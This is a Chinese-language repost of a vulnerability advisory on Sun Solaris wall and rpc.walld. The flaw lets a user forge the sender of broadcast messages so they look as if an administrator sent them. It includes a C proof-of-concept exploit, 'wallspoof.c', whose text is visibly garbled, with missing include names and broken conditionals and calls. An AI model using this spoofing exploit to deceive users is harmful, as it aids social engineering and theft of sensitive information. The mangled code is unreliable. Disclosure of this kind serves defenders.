欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  数据库

Sun Solaris Wall 信息来源可伪造缺陷

程序员文章站 2022-05-16 16:08:22
...

涉及程序: Sun Solaris Wall 描述: Sun Solaris Wall 信息 来源 可 伪造 缺陷 详细: 在Solaris中,wall程序用于将一些 信息 广播到登陆到系统上的每一个用户。 守护进程RPC(rpc.walld)用来监听并接收远程主机的wall请求,当接收到wall请求时将调用 wall

涉及程序:
Sun Solaris Wall

描述:
Sun Solaris Wall 信息来源伪造缺陷

详细:

在Solaris中,wall程序用于将一些信息广播到登陆到系统上的每一个用户。

守护进程RPC(rpc.walld)用来监听并接收远程主机的wall请求,当接收到wall请求时将调用 wall 程序, 由wall将收到的讯息发送给分时系统(time-sharing system)上所有的终端机。wall区别于本地和远程用户请求消息是通过检查stderr文件描述符是否指向对应的tty。如果不是,wall程序将检查消息前5个字节是否为"From";如果是,下一个非空白字符必须为user@host形式。

恶意用户可在执行程序/usr/sbin/wall前通过简单关闭stderr,并发送一个伪造的"From"报头来伪造rpc.walld信息,使用户接收到此消息时,误以为是管理员发过来的信息

攻击者可利用此缺陷通过发送伪造信息愚弄目标网络中普通用户,使他们信以为真而进行一些可能泄露敏感信息的行为。

受影响系统:
Sun Solaris Wall
- Sun Solaris 2.x 至 9.0


攻击方法:

/*
wallspoof.c - SOLARIS (X86/SPARC) Exploit
Don't use this in a malicious way! (i.e. to own people)
*/
#include
#include
#include

int main(int argc, char **argv)
{
char *userhost;
char mesg[2050];
FILE *tmp;
if (argc ?fprintf (stderr, "usage: wallspoof user@host\n");
?exit (-1);
}
userhost = argv[1];
if ((tmp = fopen("/tmp/rxax", "w")) == NULL) {
?perror ("open");
?exit (-1);
}
printf ("Enter your message below. End your message with an EOF (Control+D).\n");
fprintf (tmp, "From %s:", userhost);
while (fgets(mesg, 2050, stdin) != NULL)
?fprintf (tmp, "%s", mesg);
fclose (tmp);
fclose (stderr);
printf ("\n");
system ("/usr/sbin/wall unlink ("/tmp/rxax");
}


解决方案:
目前厂商还没有提供补丁或升级程序,建议用户随时关注厂商站点:

http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-access


附加信息